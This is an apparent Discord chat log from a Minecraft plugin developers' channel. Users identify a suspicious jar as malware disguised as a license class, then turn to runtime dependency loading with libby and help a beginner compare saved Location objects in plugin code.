I didn't want to break out the decompiler and all the other stuff
Yeah sus as hell
i stopped when i saw System.load
It’s totally a virus
im gonna spin up a vm real quick
I’d stay far away
i mean ill just run the code and remove the lines that load the dlls
why u so scared
I am not scared o.O
i like how whoever wrote this was nice enough to write log error messages though
just have no interest to break out tools for something I have seen already
LMAOP
taking precaution isnt being scared
^
that too
I don't just automatically run jars XD
I usually look at the raw bits with a hex viewer
but, if I want to peer into a class specifically, I have to remove them from the jar, or decompile
any idea what the license package is for?
org.spigotmc.license.SpigotMC
it just registers a loader
if I had to guess its to make you think its for license checking
Its for pretending to be a license
and the loader loads some sketchy dlls and runs them
ah
Whole thing is very clearly a virus, not really worth looking beyond that
the malicious classes are in the apache package
the ililili ones yeah
maybe optic might have something on it, won't know till he randomly returns
when will windows finally support differentiation upper/lower case
since he is one of the only ones here who has this master DB of malicious jars
Never
its part of the NTFS to ignore the distinction
it has to do with legacy days
maybe there could be one day but I doubt it
wasnt it possible to search for tags in creative?
it was I'm pretty sure
I found out that the client has plugins downloaded from small discords on the server, which is probably the reason
welp, sent it to optic, maybe he will see if it matches anything
yeah downloading stuff from strangers generally does that you know
your client contracted discord stds
XD
why dont these poeple also put a psvm in their virus jars
imagine some dummy just double clicking it on accident
main method
feel like there would be a lot more to that tahn just running it lol
I do not use IJ
that jar only does something if you actually invoke that one method
typing psvm auto expands it to the method body for public static void main
that jar only gets downloaded if the other jar responsible is actually ran
since when did oyu use kotlin alex
hence no need for a main method and would be redundant
yeah but still
if someone wants to look at it and accidently double clicks it thats +1 victim
might aswell maximize outcome
he converted
not necessarily true, doubt they are trying to make it onto official virus DB's
this song is banging
hahaha yeee
Las Ketchup.... xd
is there a library that supports dependency loading at runtime? version 1.8.9-1.20.4
or atleast 1.12.2-1.20.4
yes
iirc its called like slimjar
not sure if it was abandoned or not
but worth checking out
libby exists too
oh i'd need to switch to gradle
not entirely
why?
it should work with maven
what does maven or gradle have to do with that lol
oh I figured looking at this
oh it uses a gradle plugin
you can also just use the maven-shade-plugin instead of gradle's shadow, and manually add the dependencies with scope provided instead of using the slimjar plugin
Kyllian as said, im unsure if Yugi actually still maintains it
yeah they both seem outdated
https://github.com/AlessioDP/libby this is updated
i made a plugin with JDA shadowed and it went over 4mb already lol
yeah use libby, its quite small and can load jda
ill give this a try
Hello, im tryna code plugin MineBlock, but it cant detect location.. would some1 look at my code please? :c
I really dont know, what im doing bad
would there be any way to get the 'child dependencies' too
as jda depends on everything else in the universe
?ask
If you have a question, please just ask it. Don't look for staff or topic experts. Don't ask to ask or ask if people are awake or available. Just ask the question to the channel straight out, and wait patiently for a reply. Make sure you use the right channel regarding the topic of your question. Create a thread in case the channel is already in use!
Does it not do that for you?
whats the command
?paste
did this now:
Caused by: java.lang.NoClassDefFoundError: org/apache/commons/collections4/map/CaseInsensitiveMap
https://paste.md-5.net/amigedowun.java - It cant detect the location, idk why.. Would someone help me, please?
You might have to do something to make it download nested libraries
Or well, transitive dependencies
If possible, try to create a Location and compare two Location objects
its a bit more lenient towards the decimal x, y and z comparisons
iirc
like set it as a location
ouch
plugin.getConfig().set("mineblocks." + args[1] + ".location", p.getLocation()); like this?
oh well if it works
But prob because its a pain to look up entire trees of transitive dependencies
yea
If we look at this issue there appears to be something
okay
and then you need to grab it as a location from config as well
seems to be his own implementation
as I do not have those classes/managers
for (String key : plugin.getConfig().getConfigurationSection("mineblocks").getKeys(false)) {
Location location1 = plugin.getConfig().getLocation("mineblocks." + key + ".location");
if (location == location1){
return true;
}
}
return false;
}``` this?
Yeah, well tbf, you might only need to compare the block x y and z
world no?
Ye
why
so you do something like
(Location) config.get(…);
then location.getBlockX()==otherLocation.getBlockX() for x y and z (and obv check the world name as well)
okay
thx
Location location1 = plugin.getConfig().getLocation("mineblocks." + key + ".location");
if (location.getWorld().getName() == location1.getWorld().getName() && location.getY() == location1.getY() && location.getX() == location1.getX() && location.getZ() == location1.getZ()){
return true;
}
}``` like this?
we have getLocation smh
and use getBlockX(), getBlockY(), getBlockZ()
plugin.getConfig().getLocation
whats different?
but whats different beetwen getBlockX() and getX() ?
blockx is in the grid of blocks, and x is the position that can be inside part of a block



